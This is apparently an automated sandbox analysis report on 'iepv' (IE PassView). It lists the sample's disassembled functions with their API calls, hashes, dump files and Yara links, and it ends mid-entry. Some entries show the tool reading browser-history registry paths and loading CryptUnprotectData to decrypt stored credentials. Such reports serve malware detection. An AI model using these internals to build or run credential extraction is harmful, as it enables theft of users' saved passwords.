API ID: memset$memcpy$AcquireContextCrypt
String ID:
API String ID: 208668350-0
Opcode ID: 64eca37d22c3f95fb91b8198635d72de67174192487b0545c08c119533ec8301
Instruction ID: 4b6ae2541e05763db9ab669e9c4983ddea4fea9d27cd128077aeab09cafa718f
Opcode Fuzzy Hash: 64eca37d22c3f95fb91b8198635d72de67174192487b0545c08c119533ec8301
Instruction Fuzzy Hash: 3921307180011EBEDB11EE69CC85FEF7BACEF15345F0040BAB918E6052D7389B488B65

Function 00409D09 Relevance: 6.1, APIs: 4, Instructions: 112stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004085DD: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004085FF
Part of subcall function 004085DD: ??3@YAXPAX@Z.MSVCRT(00000000), ref: 00408694

strlen.MSVCRT ref: 00409D2F
atoi.MSVCRT(?), ref: 00409D3D
_mbsicmp.MSVCRT ref: 00409D90
_mbsicmp.MSVCRT ref: 00409DA3

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: _mbsicmp$??2@??3@atoistrlen
String ID:
API String ID: 4107816708-0
Opcode ID: 9d3511cc85c0046a82ba62c2ff37d56c4493560d2b22a3d66afa5ac120808968
Instruction ID: 6ed8edb2de1c4c6dca683edd5c99256fa7e153bea9141607462d192657b5517c
Opcode Fuzzy Hash: 9d3511cc85c0046a82ba62c2ff37d56c4493560d2b22a3d66afa5ac120808968
Instruction Fuzzy Hash: 3A412934904704AFDB20DF69D980A9AB7F4FF48318F10486EE855E7392D778AA918B54

Function 00401FF0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,000000FF,00000000,00000000), ref: 00402028
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,000000FF,00000000,00000000), ref: 0040203B
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,000000FF,00000000,00000000), ref: 0040204E
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,000000FF,00000000,00000000), ref: 00402061

Part of subcall function 00401D25: _mbscmp.MSVCRT ref: 00401D35

Part of subcall function 00408B6F: free.MSVCRT ref: 00408BBA
Part of subcall function 00408B6F: memcpy.MSVCRT(00000000,?,?,?,?,?,00401FE9,?), ref: 00408BFB

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: ByteCharMultiWide$_mbscmpfreememcpy
String ID:
API String ID: 3415728570-0
Opcode ID: 2fec005c3c64d1cb68eec752d5c08818aecff286011e2fbf3e21b6ff9f748ece
Instruction ID: 2ce28415f2b397eb987a407592397fee7a87833c22dd51c9f6902c33bbeb4a34
Opcode Fuzzy Hash: 2fec005c3c64d1cb68eec752d5c08818aecff286011e2fbf3e21b6ff9f748ece
Instruction Fuzzy Hash: 95214FF280412DBFDB21DF549C80EEB7B7DEF05368F000295BD29B7191C675AE508AA4

Function 004020B5 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,000000FF,00000000,00000000), ref: 004020F3
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,000000FF,00000000,00000000), ref: 00402109
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,000000FF,00000000,00000000), ref: 0040211F
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,000000FF,00000000,00000000), ref: 00402134

Part of subcall function 00401D25: _mbscmp.MSVCRT ref: 00401D35

Part of subcall function 00408B6F: free.MSVCRT ref: 00408BBA
Part of subcall function 00408B6F: memcpy.MSVCRT(00000000,?,?,?,?,?,00401FE9,?), ref: 00408BFB

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: ByteCharMultiWide$_mbscmpfreememcpy
String ID:
API String ID: 3415728570-0
Opcode ID: 96913ee3da2a935c70f070d31cd78ffe5420479fedd4a40e0b9776260d59d1ca
Instruction ID: a7e934fef92a8b71a5dd741b586f5c4ad70d0c4e074fa76087a728474342fa1d
Opcode Fuzzy Hash: 96913ee3da2a935c70f070d31cd78ffe5420479fedd4a40e0b9776260d59d1ca
Instruction Fuzzy Hash: 232130F690411C7FDB10DB69DC80EDB7BBCEB08268F100265B518E7291D630AE50CB64

Function 004064A5 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000000,?,?,00401406,?,?,?,?,0040F4E8,0000000C), ref: 004064DA
memset.MSVCRT ref: 004064EB
memcpy.MSVCRT(004119A8,?,00000000,00000000,00000000,00000000,00000000,?,?,00401406,?,?,?,?,0040F4E8,0000000C), ref: 004064F7
??3@YAXPAX@Z.MSVCRT ref: 00406504

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: ??2@??3@memcpymemset
String ID:
API String ID: 1865533344-0
Opcode ID: 8b4c96493cd9508214da094db5bd26336ef1a00b36f1105ef158eccb79de414b
Instruction ID: 7332fcc42ad715dc2c562c01f7626adb8d30454791f2fe56a92ceb7b724ebb25
Opcode Fuzzy Hash: 8b4c96493cd9508214da094db5bd26336ef1a00b36f1105ef158eccb79de414b
Instruction Fuzzy Hash: 7A116A71604601AFD328DF2DD881A27F7E5EFD8304B21892EE4DA97385DA35E801CB54

Function 0040D00D Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 0040D01D
SHBrowseForFolder.SHELL32(?), ref: 0040D04F
SHGetPathFromIDList.SHELL32(00000000,?), ref: 0040D063
_mbscpy.MSVCRT(?,?), ref: 0040D076

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: BrowseFolderFromListMallocPath_mbscpy
String ID:
API String ID: 1479990042-0
Opcode ID: 7e1135835be0e94a21e27305da28ced4eb24b2eb92fad6c8c205bd6e3a39184f
Instruction ID: 80035aed7d598b413f2d673abd293d15a4d0abcd53c7511a52d4806839a3ef89
Opcode Fuzzy Hash: 7e1135835be0e94a21e27305da28ced4eb24b2eb92fad6c8c205bd6e3a39184f
Instruction Fuzzy Hash: 8E11E8B6900209EFDB00DFA9D9889AEBBF8EB49314F10446AE905E7340D735DA05CB65

Function 0040A0CE Relevance: 6.0, APIs: 4, Instructions: 45windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00407520: GetModuleHandleA.KERNEL32(00000000,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,004027DA,IE PassView), ref: 0040755F
Part of subcall function 00407520: LoadStringA.USER32(00000000,00000006,?,?), ref: 004075F4
Part of subcall function 00407520: memcpy.MSVCRT(00000000,00000001), ref: 00407633

sprintf.MSVCRT ref: 0040A0F4
SendMessageA.USER32(?,00000401,00000000,?), ref: 0040A157

Part of subcall function 00407520: _mbscpy.MSVCRT(004121F8,strings,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,004027DA,IE PassView), ref: 0040759D
Part of subcall function 00407520: strlen.MSVCRT ref: 004075BB
Part of subcall function 00407520: GetModuleHandleA.KERNEL32(00000000,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,004027DA,IE PassView), ref: 004075C9

sprintf.MSVCRT ref: 0040A11E
_mbscat.MSVCRT ref: 0040A131

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: HandleModulesprintf$LoadMessageSendString_mbscat_mbscpymemcpystrlen
String ID:
API String ID: 2015865870-0
Opcode ID: 3bacfee5431946e8146b112680c25f6a95579dcafd16ce18d83a6503912c57d7
Instruction ID: d1cf58fa5dca294d86c7843aa5e5c981824fabe329cc1801f98fe3932a2be64a
Opcode Fuzzy Hash: 3bacfee5431946e8146b112680c25f6a95579dcafd16ce18d83a6503912c57d7
Instruction Fuzzy Hash: C60162B29003046BD721B7B5DD87FEB73ACAB04304F04047FB659B61C2DAB8A6444A6A

Function 004094FD Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00409520
memset.MSVCRT ref: 00409536

Part of subcall function 00408C16: _mbscpy.MSVCRT(00000000,?,004091E1,?,?,?), ref: 00408C1B
Part of subcall function 00408C16: _strlwr.MSVCRT ref: 00408C5E

sprintf.MSVCRT ref: 00409560

Part of subcall function 004054A8: strlen.MSVCRT ref: 004054B5
Part of subcall function 004054A8: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,0040918C,?,<item>), ref: 004054C2

Strings

</%s>, xrefs: 0040955A

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: memset$FileWrite_mbscpy_strlwrsprintfstrlen
String ID: </%s>
API String ID: 3699762281-259020660
Opcode ID: adeeb32083e44ae32bc83bbdb127d7a2a94eeea44e07c9e4799656e228e23114
Instruction ID: bc821998500ed00f0206f46da861f93d09f5f4896164571df8cee20e405d8a8e
Opcode Fuzzy Hash: adeeb32083e44ae32bc83bbdb127d7a2a94eeea44e07c9e4799656e228e23114
Instruction Fuzzy Hash: B10186B290012967DB21A659CC45FDE766C9F55314F0400FAB509F31C2DA749A448BA5

Function 0040C82D Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

Part of subcall function 0040593C: memset.MSVCRT ref: 0040595C
Part of subcall function 0040593C: GetClassNameA.USER32(?,00000000,000000FF), ref: 0040596F
Part of subcall function 0040593C: _strcmpi.MSVCRT ref: 00405981

SetBkMode.GDI32(?,00000001), ref: 0040C854
SetBkColor.GDI32(?,00FFFFFF), ref: 0040C862
SetTextColor.GDI32(?,00C00000), ref: 0040C870
GetStockObject.GDI32(00000000), ref: 0040C878

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Color$ClassModeNameObjectStockText_strcmpimemset
String ID:
API String ID: 2652942504-0
Opcode ID: 2250eef6674719bdd7f4dae543dfd5788a0825d0b71622ca88b619b7a1fa905d
Instruction ID: ffc7004a7d371072b1ff32533f2df7bb14694207d9c7f55142dd8fda8b3e0bcd
Opcode Fuzzy Hash: 2250eef6674719bdd7f4dae543dfd5788a0825d0b71622ca88b619b7a1fa905d
Instruction Fuzzy Hash: 4BF08C32100208FBDF152F65EE4AE9E3B21EF04322F108236FA15B41F0CBB58820AA59

Function 0040BEE2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(00411DA8,?,00000050,?,0040144A,?), ref: 0040BEFC
memcpy.MSVCRT(00411AD8,?,000002CC,00411DA8,?,00000050,?,0040144A,?), ref: 0040BF0E
GetModuleHandleA.KERNEL32(00000000), ref: 0040BF21
DialogBoxParamA.USER32(00000000,0000006B,?,Function_0000BBF4,00000000), ref: 0040BF35

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: memcpy$DialogHandleModuleParam
String ID:
API String ID: 1386444988-0
Opcode ID: 2ace08b6cf9804c4be4aa9429945c127ba00e1c21a3ae0b7d8b7e958248f7000
Instruction ID: af6fc003c7e3f1047039bfe483d3735f66c7a1dd44f577401d39675ba837eeca
Opcode Fuzzy Hash: 2ace08b6cf9804c4be4aa9429945c127ba00e1c21a3ae0b7d8b7e958248f7000
Instruction Fuzzy Hash: 15F08271A807106BD7606BA6FD0AF963AA0EB40B16F14443AF744F51E0C3B554248FDE

Function 0040D7EB Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?), ref: 0040D7F5
??3@YAXPAX@Z.MSVCRT(?), ref: 0040D805
??3@YAXPAX@Z.MSVCRT(?), ref: 0040D815
??3@YAXPAX@Z.MSVCRT(?), ref: 0040D825

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: ec10c122f22213a57c04daaa8a719b2651d2619166efef81b8aa6a8e6d18f33d
Instruction ID: dd39a4462d089017abb554cf892f1597ca5f1ae2b1321b0e7aa42a351a950413
Opcode Fuzzy Hash: ec10c122f22213a57c04daaa8a719b2651d2619166efef81b8aa6a8e6d18f33d
Instruction Fuzzy Hash: 84E046A2F0020102DB24BBFAAD80E13239C6B06714714C83FF0A0F72E1CEBCE858812C

Function 0040AFA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00000010,00000000,00000000), ref: 0040AFEA
SetFocus.USER32(?,?,?), ref: 0040B05F

Strings

PP@, xrefs: 0040B21F

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: FocusMessageSend
String ID: PP@
API String ID: 223698058-1603988326
Opcode ID: a591c2a69ec75bab7d69f01d74449903b34c731458baaccf1f926f7a7a23923f
Instruction ID: 319bb99eaa8ff1fd24b18a03bdff03010d5574ca49666b8ebf6ce1b114104e8d
Opcode Fuzzy Hash: a591c2a69ec75bab7d69f01d74449903b34c731458baaccf1f926f7a7a23923f
Instruction Fuzzy Hash: C26184306403009ACF20AF268885B9A73A4AF44724F15957EF8557F2F3C7BD9D848B9D

Function 00406883 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00405CBC: SetFilePointer.KERNEL32(?,?,00000000,00000000,?,00406955,00000000,00000000,?,00000020,?,;k@,00406AA3,?,?,;k@), ref: 00405CC9

_memicmp.MSVCRT ref: 0040689D
memcpy.MSVCRT(?,?,00000004,00000000,?,?,?,?,?,?,?,?,?,;k@,?), ref: 004068B4

Strings

URL , xrefs: 00406897

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: FilePointer_memicmpmemcpy
String ID: URL
API String ID: 2108176848-3574463123
Opcode ID: 77e25472ff670075c7f97fcb162713365679f11683cae8fb6ae8cf562b826c1f
Instruction ID: 665e656d3475a6bf1cfbb61beee9558f5cfe600d303d55f39d77dcf35973ee0d
Opcode Fuzzy Hash: 77e25472ff670075c7f97fcb162713365679f11683cae8fb6ae8cf562b826c1f
Instruction Fuzzy Hash: E311E372600208BBEB11DF65CC05F5F7BA8DF41344F114076F905AB291E675DE20CBA8

Function 0040807F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41windowCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00408098
SendMessageA.USER32(00405313,00001019,00000000,?), ref: 004080C6

Strings

", xrefs: 004080BF

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: MessageSendmemset
String ID: "
API String ID: 568519121-123907689
Opcode ID: 9a7d89582f532bc70890e8afc89be4053827a8b7986d768eab8df2d64cc15a9b
Instruction ID: e68555285a0c4490628ba0bff90b7032afb0f75e8b8aad83eddb015787144be7
Opcode Fuzzy Hash: 9a7d89582f532bc70890e8afc89be4053827a8b7986d768eab8df2d64cc15a9b
Instruction Fuzzy Hash: 99012675800209ABDB209F85CD45AABB7F8FF80748F01843EE894A6280D735AD89CB75

Function 004017EA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetWindowPlacement.USER32(?,?), ref: 00401813
memset.MSVCRT ref: 00401826

Strings

WinPos, xrefs: 00401839

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: PlacementWindowmemset
String ID: WinPos
API String ID: 4036792311-2823255486
Opcode ID: 5a05c266bdedffb439e2f54ad46894a2b709d4cd4d07083fca0107005192a64c
Instruction ID: 4e6ba43d21752e254f0c685461c49d150c1a378d92c6c6ef6facbe126f5418e5
Opcode Fuzzy Hash: 5a05c266bdedffb439e2f54ad46894a2b709d4cd4d07083fca0107005192a64c
Instruction Fuzzy Hash: 32F01271700204EFEB14EF95D989F9A73A8AF04700F144479F909AB1D1DBB8AA408769

Function 0040CCAF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040CC6A: RegOpenKeyExA.ADVAPI32(00000104,00000104,00000000,00000104,?,0040CCCC,00406B01,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,?,00020019,00000104,?,?,00406B01,?), ref: 0040CC7C

Part of subcall function 0040CC83: RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?,?,?,-k@,0040CF70,-k@,?,?), ref: 0040CC9C

RegCloseKey.ADVAPI32(?,?,?,00406B01,?,?,00000104,?), ref: 0040CCEF

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 0040CCBD
History, xrefs: 0040CCD3

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: History$Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
API String ID: 3677997916-155329520
Opcode ID: 9a7c009a4a0090f5ae32a9f5cc615a3b887c4cd60392eaddaaaf0a82d0086411
Instruction ID: 40915cfe07f95d23653045c7b485d250b31a45d2323b856462e04dbed85f8fc2
Opcode Fuzzy Hash: 9a7c009a4a0090f5ae32a9f5cc615a3b887c4cd60392eaddaaaf0a82d0086411
Instruction Fuzzy Hash: CEE09271704204FAFB009767DD86E5E7AA9EB88704B140576FD06F01D1F6B59E106519

Function 0040269F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00401347: LoadLibraryA.KERNEL32(00000000), ref: 00401362
Part of subcall function 00401347: GetProcAddress.KERNEL32(00000000,00000000), ref: 00401384
Part of subcall function 00401347: FreeLibrary.KERNEL32(00000000), ref: 00401394

_mbscpy.MSVCRT(?,CryptUnprotectData,?,00402616), ref: 004026D1

Strings

CryptUnprotectData, xrefs: 004026CB
s!@, xrefs: 004026D8

Memory Dump Source

